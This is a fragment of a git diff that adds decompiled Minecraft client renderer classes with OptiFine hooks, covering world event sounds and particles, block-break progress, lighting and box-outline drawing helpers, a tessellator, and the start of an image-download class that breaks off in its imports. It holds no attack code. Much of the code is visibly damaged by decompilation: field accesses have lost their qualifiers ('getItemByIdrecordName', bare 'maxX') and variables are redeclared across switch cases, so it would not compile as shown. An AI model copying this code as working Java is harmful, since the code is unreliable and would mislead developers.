+      if (p_174974_1_ == EnumParticleTypes.WATER_DROP.func_179348_c())
+      {
+        CustomColors.updateWaterFX(entityFx, theWorld, p_174974_3_, p_174974_5_, p_174974_7_);
+      }
+      
+      if (p_174974_1_ == EnumParticleTypes.TOWN_AURA.func_179348_c())
+      {
+        CustomColors.updateMyceliumFX(entityFx);
+      }
+      
+      if (p_174974_1_ == EnumParticleTypes.PORTAL.func_179348_c())
+      {
+        CustomColors.updatePortalFX(entityFx);
+      }
+      
+      if (p_174974_1_ == EnumParticleTypes.REDSTONE.func_179348_c())
+      {
+        CustomColors.updateReddustFX(entityFx, theWorld, p_174974_3_, p_174974_5_, p_174974_7_);
+      }
+      
+      return entityFx;
+    }
+    
+
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public void onEntityAdded(Entity entityIn)
+  {
+    RandomMobs.entityLoaded(entityIn, theWorld);
+    
+    if (Config.isDynamicLights())
+    {
+      DynamicLights.entityAdded(entityIn, this);
+    }
+  }
+  
+
+
+
+
+  public void onEntityRemoved(Entity entityIn)
+  {
+    if (Config.isDynamicLights())
+    {
+      DynamicLights.entityRemoved(entityIn, this);
+    }
+  }
+  
+
+
+  public void deleteAllDisplayLists() {}
+  
+
+  public void func_180440_a(int p_180440_1_, BlockPos p_180440_2_, int p_180440_3_)
+  {
+    switch (p_180440_1_)
+    {
+    case 1013: 
+    case 1018: 
+      if (mc.func_175606_aa() != null)
+      {
+        double var4 = p_180440_2_.getX() - mc.func_175606_aa().posX;
+        double var6 = p_180440_2_.getY() - mc.func_175606_aa().posY;
+        double var8 = p_180440_2_.getZ() - mc.func_175606_aa().posZ;
+        double var10 = Math.sqrt(var4 * var4 + var6 * var6 + var8 * var8);
+        double var12 = mc.func_175606_aa().posX;
+        double var14 = mc.func_175606_aa().posY;
+        double var16 = mc.func_175606_aa().posZ;
+        
+        if (var10 > 0.0D)
+        {
+          var12 += var4 / var10 * 2.0D;
+          var14 += var6 / var10 * 2.0D;
+          var16 += var8 / var10 * 2.0D;
+        }
+        
+        if (p_180440_1_ == 1013)
+        {
+          theWorld.playSound(var12, var14, var16, "mob.wither.spawn", 1.0F, 1.0F, false);
+        }
+        else
+        {
+          theWorld.playSound(var12, var14, var16, "mob.enderdragon.end", 5.0F, 1.0F, false);
+        }
+      }
+      break;
+    }
+    
+  }
+  
+  public void func_180439_a(EntityPlayer p_180439_1_, int p_180439_2_, BlockPos p_180439_3_, int p_180439_4_)
+  {
+    Random var5 = theWorld.rand;
+    
+
+
+
+
+
+
+
+
+
+
+
+    switch (p_180439_2_)
+    {
+    case 1000: 
+      theWorld.func_175731_a(p_180439_3_, "random.click", 1.0F, 1.0F, false);
+      break;
+    
+    case 1001: 
+      theWorld.func_175731_a(p_180439_3_, "random.click", 1.0F, 1.2F, false);
+      break;
+    
+    case 1002: 
+      theWorld.func_175731_a(p_180439_3_, "random.bow", 1.0F, 1.2F, false);
+      break;
+    
+    case 1003: 
+      theWorld.func_175731_a(p_180439_3_, "random.door_open", 1.0F, theWorld.rand.nextFloat() * 0.1F + 0.9F, false);
+      break;
+    
+    case 1004: 
+      theWorld.func_175731_a(p_180439_3_, "random.fizz", 0.5F, 2.6F + (var5.nextFloat() - var5.nextFloat()) * 0.8F, false);
+      break;
+    
+    case 1005: 
+      if ((Item.getItemById(p_180439_4_) instanceof ItemRecord))
+      {
+        theWorld.func_175717_a(p_180439_3_, "records." + getItemByIdrecordName);
+      }
+      else
+      {
+        theWorld.func_175717_a(p_180439_3_, null);
+      }
+      
+      break;
+    
+    case 1006: 
+      theWorld.func_175731_a(p_180439_3_, "random.door_close", 1.0F, theWorld.rand.nextFloat() * 0.1F + 0.9F, false);
+      break;
+    
+    case 1007: 
+      theWorld.func_175731_a(p_180439_3_, "mob.ghast.charge", 10.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1008: 
+      theWorld.func_175731_a(p_180439_3_, "mob.ghast.fireball", 10.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1009: 
+      theWorld.func_175731_a(p_180439_3_, "mob.ghast.fireball", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1010: 
+      theWorld.func_175731_a(p_180439_3_, "mob.zombie.wood", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1011: 
+      theWorld.func_175731_a(p_180439_3_, "mob.zombie.metal", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1012: 
+      theWorld.func_175731_a(p_180439_3_, "mob.zombie.woodbreak", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1014: 
+      theWorld.func_175731_a(p_180439_3_, "mob.wither.shoot", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1015: 
+      theWorld.func_175731_a(p_180439_3_, "mob.bat.takeoff", 0.05F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1016: 
+      theWorld.func_175731_a(p_180439_3_, "mob.zombie.infect", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1017: 
+      theWorld.func_175731_a(p_180439_3_, "mob.zombie.unfect", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
+      break;
+    
+    case 1020: 
+      theWorld.func_175731_a(p_180439_3_, "random.anvil_break", 1.0F, theWorld.rand.nextFloat() * 0.1F + 0.9F, false);
+      break;
+    
+    case 1021: 
+      theWorld.func_175731_a(p_180439_3_, "random.anvil_use", 1.0F, theWorld.rand.nextFloat() * 0.1F + 0.9F, false);
+      break;
+    
+    case 1022: 
+      theWorld.func_175731_a(p_180439_3_, "random.anvil_land", 0.3F, theWorld.rand.nextFloat() * 0.1F + 0.9F, false);
+      break;
+    
+    case 2000: 
+      int var31 = p_180439_4_ % 3 - 1;
+      int var8 = p_180439_4_ / 3 % 3 - 1;
+      double var9 = p_180439_3_.getX() + var31 * 0.6D + 0.5D;
+      double var11 = p_180439_3_.getY() + 0.5D;
+      double var32 = p_180439_3_.getZ() + var8 * 0.6D + 0.5D;
+      
+      for (int var39 = 0; var39 < 10; var39++)
+      {
+        double var40 = var5.nextDouble() * 0.2D + 0.01D;
+        double var41 = var9 + var31 * 0.01D + (var5.nextDouble() - 0.5D) * var8 * 0.5D;
+        double var25 = var11 + (var5.nextDouble() - 0.5D) * 0.5D;
+        double var27 = var32 + var8 * 0.01D + (var5.nextDouble() - 0.5D) * var31 * 0.5D;
+        double var42 = var31 * var40 + var5.nextGaussian() * 0.01D;
+        double var26 = -0.03D + var5.nextGaussian() * 0.01D;
+        double var28 = var8 * var40 + var5.nextGaussian() * 0.01D;
+        func_174972_a(EnumParticleTypes.SMOKE_NORMAL, var41, var25, var27, var42, var26, var28, new int[0]);
+      }
+      
+      return;
+    
+    case 2001: 
+      Block var6 = Block.getBlockById(p_180439_4_ & 0xFFF);
+      
+      if (var6.getMaterial() != Material.air)
+      {
+        mc.getSoundHandler().playSound(new PositionedSoundRecord(new ResourceLocation(stepSound.getBreakSound()), (stepSound.getVolume() + 1.0F) / 2.0F, stepSound.getFrequency() * 0.8F, p_180439_3_.getX() + 0.5F, p_180439_3_.getY() + 0.5F, p_180439_3_.getZ() + 0.5F));
+      }
+      
+      mc.effectRenderer.func_180533_a(p_180439_3_, var6.getStateFromMeta(p_180439_4_ >> 12 & 0xFF));
+      break;
+    
+    case 2002: 
+      double var7 = p_180439_3_.getX();
+      double var9 = p_180439_3_.getY();
+      double var11 = p_180439_3_.getZ();
+      
+      for (int var13 = 0; var13 < 8; var13++)
+      {
+        func_174972_a(EnumParticleTypes.ITEM_CRACK, var7, var9, var11, var5.nextGaussian() * 0.15D, var5.nextDouble() * 0.2D, var5.nextGaussian() * 0.15D, new int[] { Item.getIdFromItem(Items.potionitem), p_180439_4_ });
+      }
+      
+      var13 = Items.potionitem.getColorFromDamage(p_180439_4_);
+      float var14 = (var13 >> 16 & 0xFF) / 255.0F;
+      float var15 = (var13 >> 8 & 0xFF) / 255.0F;
+      float var16 = (var13 >> 0 & 0xFF) / 255.0F;
+      EnumParticleTypes var17 = EnumParticleTypes.SPELL;
+      
+      if (Items.potionitem.isEffectInstant(p_180439_4_))
+      {
+        var17 = EnumParticleTypes.SPELL_INSTANT;
+      }
+      
+      for (int var18 = 0; var18 < 100; var18++)
+      {
+        double var19 = var5.nextDouble() * 4.0D;
+        double var21 = var5.nextDouble() * 3.141592653589793D * 2.0D;
+        double var23 = Math.cos(var21) * var19;
+        double var25 = 0.01D + var5.nextDouble() * 0.5D;
+        double var27 = Math.sin(var21) * var19;
+        EntityFX var29 = func_174974_b(var17.func_179348_c(), var17.func_179344_e(), var7 + var23 * 0.1D, var9 + 0.3D, var11 + var27 * 0.1D, var23, var25, var27, new int[0]);
+        
+        if (var29 != null)
+        {
+          float var30 = 0.75F + var5.nextFloat() * 0.25F;
+          var29.setRBGColorF(var14 * var30, var15 * var30, var16 * var30);
+          var29.multiplyVelocity((float)var19);
+        }
+      }
+      
+      theWorld.func_175731_a(p_180439_3_, "game.potion.smash", 1.0F, theWorld.rand.nextFloat() * 0.1F + 0.9F, false);
+      break;
+    
+    case 2003: 
+      double var7 = p_180439_3_.getX() + 0.5D;
+      double var9 = p_180439_3_.getY();
+      double var11 = p_180439_3_.getZ() + 0.5D;
+      
+      for (int var13 = 0; var13 < 8; var13++)
+      {
+        func_174972_a(EnumParticleTypes.ITEM_CRACK, var7, var9, var11, var5.nextGaussian() * 0.15D, var5.nextDouble() * 0.2D, var5.nextGaussian() * 0.15D, new int[] { Item.getIdFromItem(Items.ender_eye) });
+      }
+      
+      for (double var32 = 0.0D; var32 < 6.283185307179586D; var32 += 0.15707963267948966D)
+      {
+        func_174972_a(EnumParticleTypes.PORTAL, var7 + Math.cos(var32) * 5.0D, var9 - 0.4D, var11 + Math.sin(var32) * 5.0D, Math.cos(var32) * -5.0D, 0.0D, Math.sin(var32) * -5.0D, new int[0]);
+        func_174972_a(EnumParticleTypes.PORTAL, var7 + Math.cos(var32) * 5.0D, var9 - 0.4D, var11 + Math.sin(var32) * 5.0D, Math.cos(var32) * -7.0D, 0.0D, Math.sin(var32) * -7.0D, new int[0]);
+      }
+      
+      return;
+    
+    case 2004: 
+      for (int var18 = 0; var18 < 20; var18++)
+      {
+        double var19 = p_180439_3_.getX() + 0.5D + (theWorld.rand.nextFloat() - 0.5D) * 2.0D;
+        double var21 = p_180439_3_.getY() + 0.5D + (theWorld.rand.nextFloat() - 0.5D) * 2.0D;
+        double var23 = p_180439_3_.getZ() + 0.5D + (theWorld.rand.nextFloat() - 0.5D) * 2.0D;
+        theWorld.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var19, var21, var23, 0.0D, 0.0D, 0.0D, new int[0]);
+        theWorld.spawnParticle(EnumParticleTypes.FLAME, var19, var21, var23, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+      
+      return;
+    
+    case 2005: 
+      ItemDye.func_180617_a(theWorld, p_180439_3_, p_180439_4_);
+    }
+  }
+  
+  public void sendBlockBreakProgress(int breakerId, BlockPos pos, int progress)
+  {
+    if ((progress >= 0) && (progress < 10))
+    {
+      DestroyBlockProgress var4 = (DestroyBlockProgress)damagedBlocks.get(Integer.valueOf(breakerId));
+      
+      if ((var4 == null) || (var4.func_180246_b().getX() != pos.getX()) || (var4.func_180246_b().getY() != pos.getY()) || (var4.func_180246_b().getZ() != pos.getZ()))
+      {
+        var4 = new DestroyBlockProgress(breakerId, pos);
+        damagedBlocks.put(Integer.valueOf(breakerId), var4);
+      }
+      
+      var4.setPartialBlockDamage(progress);
+      var4.setCloudUpdateTick(cloudTickCounter);
+    }
+    else
+    {
+      damagedBlocks.remove(Integer.valueOf(breakerId));
+    }
+  }
+  
+  public void func_174979_m()
+  {
+    displayListEntitiesDirty = true;
+  }
+  
+  public void resetClouds()
+  {
+    cloudRenderer.reset();
+  }
+  
+  public int getCountRenderers()
+  {
+    return field_175008_n.field_178164_f.length;
+  }
+  
+  public int getCountActiveRenderers()
+  {
+    return glRenderLists.size();
+  }
+  
+  public int getCountEntitiesRendered()
+  {
+    return countEntitiesRendered;
+  }
+  
+  public int getCountTileEntitiesRendered()
+  {
+    return countTileEntitiesRendered;
+  }
+  
+  public RenderChunk getRenderChunk(BlockPos pos)
+  {
+    return field_175008_n.func_178161_a(pos);
+  }
+  
+  public RenderChunk getRenderChunk(RenderChunk renderChunk, EnumFacing facing)
+  {
+    if (renderChunk == null)
+    {
+      return null;
+    }
+    
+
+    BlockPos pos = renderChunk.getPositionOffset16(facing);
+    return field_175008_n.func_178161_a(pos);
+  }
+  
+
+  public WorldClient getWorld()
+  {
+    return theWorld;
+  }
+  
+  public static class ContainerLocalRenderInformation
+  {
+    final RenderChunk field_178036_a;
+    final EnumFacing field_178034_b;
+    final Set field_178035_c;
+    final int field_178032_d;
+    
+    public ContainerLocalRenderInformation(RenderChunk p_i46248_2_, EnumFacing p_i46248_3_, int p_i46248_4_)
+    {
+      field_178035_c = EnumSet.noneOf(EnumFacing.class);
+      field_178036_a = p_i46248_2_;
+      field_178034_b = p_i46248_3_;
+      field_178032_d = p_i46248_4_;
+    }
+    
+    ContainerLocalRenderInformation(RenderChunk p_i46249_2_, EnumFacing p_i46249_3_, int p_i46249_4_, Object p_i46249_5_)
+    {
+      this(p_i46249_2_, p_i46249_3_, p_i46249_4_);
+    }
+  }
+  
+  static final class SwitchEnumUseage
+  {
+    static final int[] field_178037_a = new int[VertexFormatElement.EnumUseage.values().length];
+    
+    static
+    {
+      try {
+        field_178037_a[VertexFormatElement.EnumUseage.POSITION.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178037_a[VertexFormatElement.EnumUseage.UV.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178037_a[VertexFormatElement.EnumUseage.COLOR.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+    }
+    
+    SwitchEnumUseage() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/RenderHelper.java b/src/minecraft/net/minecraft/client/renderer/RenderHelper.java
new file mode 100644
index 0000000..962057f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/RenderHelper.java
@@ -0,0 +1,306 @@
+package net.minecraft.client.renderer;
+
+import java.nio.FloatBuffer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.Vec3;
+import org.lwjgl.opengl.GL11;
+
+
+
+
+public class RenderHelper
+{
+  private static FloatBuffer colorBuffer = GLAllocation.createDirectFloatBuffer(16);
+  private static final Vec3 field_82884_b = new Vec3(0.20000000298023224D, 1.0D, -0.699999988079071D).normalize();
+  private static final Vec3 field_82885_c = new Vec3(-0.20000000298023224D, 1.0D, 0.699999988079071D).normalize();
+  private static final String __OBFID = "CL_00000629";
+  
+  public RenderHelper() {}
+  
+  public static void disableStandardItemLighting()
+  {
+    GlStateManager.disableLighting();
+    GlStateManager.disableBooleanStateAt(0);
+    GlStateManager.disableBooleanStateAt(1);
+    GlStateManager.disableColorMaterial();
+  }
+  
+
+
+  public static void enableStandardItemLighting()
+  {
+    GlStateManager.enableLighting();
+    GlStateManager.enableBooleanStateAt(0);
+    GlStateManager.enableBooleanStateAt(1);
+    GlStateManager.enableColorMaterial();
+    GlStateManager.colorMaterial(1032, 5634);
+    float var0 = 0.4F;
+    float var1 = 0.6F;
+    float var2 = 0.0F;
+    GL11.glLight(16384, 4611, setColorBuffer(field_82884_bxCoord, field_82884_byCoord, field_82884_bzCoord, 0.0D));
+    GL11.glLight(16384, 4609, setColorBuffer(var1, var1, var1, 1.0F));
+    GL11.glLight(16384, 4608, setColorBuffer(0.0F, 0.0F, 0.0F, 1.0F));
+    GL11.glLight(16384, 4610, setColorBuffer(var2, var2, var2, 1.0F));
+    GL11.glLight(16385, 4611, setColorBuffer(field_82885_cxCoord, field_82885_cyCoord, field_82885_czCoord, 0.0D));
+    GL11.glLight(16385, 4609, setColorBuffer(var1, var1, var1, 1.0F));
+    GL11.glLight(16385, 4608, setColorBuffer(0.0F, 0.0F, 0.0F, 1.0F));
+    GL11.glLight(16385, 4610, setColorBuffer(var2, var2, var2, 1.0F));
+    GlStateManager.shadeModel(7424);
+    GL11.glLightModel(2899, setColorBuffer(var0, var0, var0, 1.0F));
+  }
+  
+
+
+  private static FloatBuffer setColorBuffer(double p_74517_0_, double p_74517_2_, double p_74517_4_, double p_74517_6_)
+  {
+    return setColorBuffer((float)p_74517_0_, (float)p_74517_2_, (float)p_74517_4_, (float)p_74517_6_);
+  }
+  
+
+
+  private static FloatBuffer setColorBuffer(float p_74521_0_, float p_74521_1_, float p_74521_2_, float p_74521_3_)
+  {
+    colorBuffer.clear();
+    colorBuffer.put(p_74521_0_).put(p_74521_1_).put(p_74521_2_).put(p_74521_3_);
+    colorBuffer.flip();
+    return colorBuffer;
+  }
+  
+  public static void drawRect(float x, float y, float x1, float y1)
+  {
+    GL11.glBegin(7);
+    GL11.glVertex2f(x, y1);
+    GL11.glVertex2f(x1, y1);
+    GL11.glVertex2f(x1, y);
+    GL11.glVertex2f(x, y);
+    GL11.glEnd();
+  }
+  
+  public static void glColor(int hex) {
+    float alpha = (hex >> 24 & 0xFF) / 255.0F;
+    float red = (hex >> 16 & 0xFF) / 255.0F;
+    float green = (hex >> 8 & 0xFF) / 255.0F;
+    float blue = (hex & 0xFF) / 255.0F;
+    GL11.glColor4f(red, green, blue, alpha);
+  }
+  
+  public static void drawOutlineBox(AxisAlignedBB axisalignedbb, float width, int color) {
+    GL11.glLineWidth(width);
+    GL11.glEnable(2848);
+    GL11.glEnable(2881);
+    GL11.glHint(3154, 4354);
+    GL11.glHint(3155, 4354);
+    glColor(color);
+    drawOutlinedBox(axisalignedbb);
+    GL11.glDisable(2848);
+    GL11.glDisable(2881);
+  }
+  
+  public static void drawCrosses(AxisAlignedBB axisalignedbb, float width, int color) {
+    GL11.glLineWidth(width);
+    GL11.glEnable(2848);
+    GL11.glEnable(2881);
+    GL11.glHint(3154, 4354);
+    GL11.glHint(3155, 4354);
+    glColor(color);
+    drawCrosses(axisalignedbb);
+    GL11.glDisable(2848);
+    GL11.glDisable(2881);
+  }
+  
+  public static void drawCompleteBox(AxisAlignedBB axisalignedbb, float width, int insideColor, int borderColor) {
+    GL11.glLineWidth(width);
+    GL11.glEnable(2848);
+    GL11.glEnable(2881);
+    GL11.glHint(3154, 4354);
+    GL11.glHint(3155, 4354);
+    glColor(insideColor);
+    drawBox(axisalignedbb);
+    glColor(borderColor);
+    drawOutlinedBox(axisalignedbb);
+    drawCrosses(axisalignedbb);
+    GL11.glDisable(2848);
+    GL11.glDisable(2881);
+  }
+  
+  public static void drawCrosses(AxisAlignedBB box) {
+    if (box == null) {
+      return;
+    }
+    GL11.glBegin(1);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(maxX, maxY, minZ);
+    GL11.glVertex3d(minX, maxY, maxZ);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glVertex3d(maxX, minY, maxZ);
+    GL11.glEnd();
+  }
+  
+  public static void drawBox(AxisAlignedBB axisalignedbb, int color) {
+    GL11.glEnable(2848);
+    GL11.glEnable(2881);
+    GL11.glHint(3154, 4354);
+    GL11.glHint(3155, 4354);
+    glColor(color);
+    drawBox(axisalignedbb);
+    GL11.glDisable(2848);
+    GL11.glDisable(2881);
+  }
+  
+  public static void drawOutlinedBox(AxisAlignedBB box) {
+    if (box == null) {
+      return;
+    }
+    GL11.glBegin(3);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(maxX, minY, maxZ);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glEnd();
+    GL11.glBegin(3);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glVertex3d(maxX, maxY, minZ);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glVertex3d(minX, maxY, maxZ);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glEnd();
+    GL11.glBegin(1);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(maxX, maxY, minZ);
+    GL11.glVertex3d(maxX, minY, maxZ);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glVertex3d(minX, maxY, maxZ);
+    GL11.glEnd();
+  }
+  
+  public static void drawBox(AxisAlignedBB box) {
+    if (box == null) {
+      return;
+    }
+    GL11.glBegin(7);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glVertex3d(maxX, minY, maxZ);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glVertex3d(minX, maxY, maxZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(maxX, minY, maxZ);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glVertex3d(minX, maxY, maxZ);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glVertex3d(minX, maxY, maxZ);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glVertex3d(minX, maxY, maxZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(maxX, minY, maxZ);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(maxX, maxY, minZ);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(maxX, minY, maxZ);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glVertex3d(maxX, maxY, minZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(maxX, maxY, minZ);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glVertex3d(maxX, maxY, minZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glVertex3d(maxX, maxY, minZ);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glVertex3d(minX, maxY, maxZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(maxX, maxY, minZ);
+    GL11.glVertex3d(minX, maxY, minZ);
+    GL11.glVertex3d(minX, maxY, maxZ);
+    GL11.glVertex3d(maxX, maxY, maxZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(maxX, minY, maxZ);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glEnd();
+    GL11.glBegin(7);
+    GL11.glVertex3d(maxX, minY, minZ);
+    GL11.glVertex3d(minX, minY, minZ);
+    GL11.glVertex3d(minX, minY, maxZ);
+    GL11.glVertex3d(maxX, minY, maxZ);
+    GL11.glEnd();
+  }
+  
+  public static void rectangle(double left, double top, double right, double bottom, int color)
+  {
+    if (left < right) {
+      double var5 = left;
+      left = right;
+      right = var5;
+    }
+    if (top < bottom) {
+      double var5 = top;
+      top = bottom;
+      bottom = var5;
+    }
+    float var11 = (color >> 24 & 0xFF) / 255.0F;
+    float var6 = (color >> 16 & 0xFF) / 255.0F;
+    float var7 = (color >> 8 & 0xFF) / 255.0F;
+    float var8 = (color & 0xFF) / 255.0F;
+    WorldRenderer worldRenderer = Tessellator.getInstance().getWorldRenderer();
+    GlStateManager.enableBlend();
+    GlStateManager.disableTexture2D();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.color(var6, var7, var8, var11);
+    worldRenderer.startDrawingQuads();
+    worldRenderer.addVertex(left, bottom, 0.0D);
+    worldRenderer.addVertex(right, bottom, 0.0D);
+    worldRenderer.addVertex(right, top, 0.0D);
+    worldRenderer.addVertex(left, top, 0.0D);
+    Tessellator.getInstance().draw();
+    GlStateManager.enableTexture2D();
+    GlStateManager.disableBlend();
+  }
+  
+
+
+  public static void enableGUIStandardItemLighting()
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.rotate(-30.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(165.0F, 1.0F, 0.0F, 0.0F);
+    enableStandardItemLighting();
+    GlStateManager.popMatrix();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/RenderList.java b/src/minecraft/net/minecraft/client/renderer/RenderList.java
new file mode 100644
index 0000000..18f66f4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/RenderList.java
@@ -0,0 +1,44 @@
+package net.minecraft.client.renderer;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.renderer.chunk.ListedRenderChunk;
+import net.minecraft.client.renderer.chunk.RenderChunk;
+import net.minecraft.util.EnumWorldBlockLayer;
+import org.lwjgl.opengl.GL11;
+
+public class RenderList extends ChunkRenderContainer
+{
+  public RenderList() {}
+  
+  public void func_178001_a(EnumWorldBlockLayer p_178001_1_)
+  {
+    if (field_178007_b)
+    {
+      if (field_178009_a.size() == 0)
+      {
+        return;
+      }
+      
+      Iterator var2 = field_178009_a.iterator();
+      
+      while (var2.hasNext())
+      {
+        RenderChunk var3 = (RenderChunk)var2.next();
+        ListedRenderChunk var4 = (ListedRenderChunk)var3;
+        GlStateManager.pushMatrix();
+        func_178003_a(var3);
+        GL11.glCallList(var4.func_178600_a(p_178001_1_, var4.func_178571_g()));
+        GlStateManager.popMatrix();
+      }
+      
+      if (optifine.Config.isMultiTexture())
+      {
+        GlStateManager.bindCurrentTexture();
+      }
+      
+      GlStateManager.func_179117_G();
+      field_178009_a.clear();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/StitcherException.java b/src/minecraft/net/minecraft/client/renderer/StitcherException.java
new file mode 100644
index 0000000..08d72db
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/StitcherException.java
@@ -0,0 +1,15 @@
+package net.minecraft.client.renderer;
+
+import net.minecraft.client.renderer.texture.Stitcher.Holder;
+
+public class StitcherException extends RuntimeException
+{
+  private final Stitcher.Holder field_98149_a;
+  private static final String __OBFID = "CL_00001057";
+  
+  public StitcherException(Stitcher.Holder p_i2344_1_, String p_i2344_2_)
+  {
+    super(p_i2344_2_);
+    field_98149_a = p_i2344_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/Tessellator.java b/src/minecraft/net/minecraft/client/renderer/Tessellator.java
new file mode 100644
index 0000000..8b33830
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/Tessellator.java
@@ -0,0 +1,36 @@
+package net.minecraft.client.renderer;
+
+public class Tessellator
+{
+  private WorldRenderer worldRenderer;
+  private WorldVertexBufferUploader field_178182_b = new WorldVertexBufferUploader();
+  
+
+  public static final Tessellator instance = new Tessellator(2097152);
+  
+  private static final String __OBFID = "CL_00000960";
+  
+
+  public static Tessellator getInstance()
+  {
+    return instance;
+  }
+  
+  public Tessellator(int p_i1250_1_)
+  {
+    worldRenderer = new WorldRenderer(p_i1250_1_);
+  }
+  
+
+
+
+  public int draw()
+  {
+    return field_178182_b.draw(worldRenderer, worldRenderer.draw());
+  }
+  
+  public WorldRenderer getWorldRenderer()
+  {
+    return worldRenderer;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/ThreadDownloadImageData.java b/src/minecraft/net/minecraft/client/renderer/ThreadDownloadImageData.java
new file mode 100644
index 0000000..57b0689
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/ThreadDownloadImageData.java
@@ -0,0 +1,253 @@
+package net.minecraft.client.renderer;
+
+import java.awt.image.BufferedImage;
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.Proxy;
+import java.net.Proxy.Type;
+import java.net.URL;
+import java.util.concurrent.atomic.AtomicInteger;
+import javax.imageio.ImageIO;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.texture.SimpleTexture;
+import net.minecraft.client.renderer.texture.TextureUtil;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
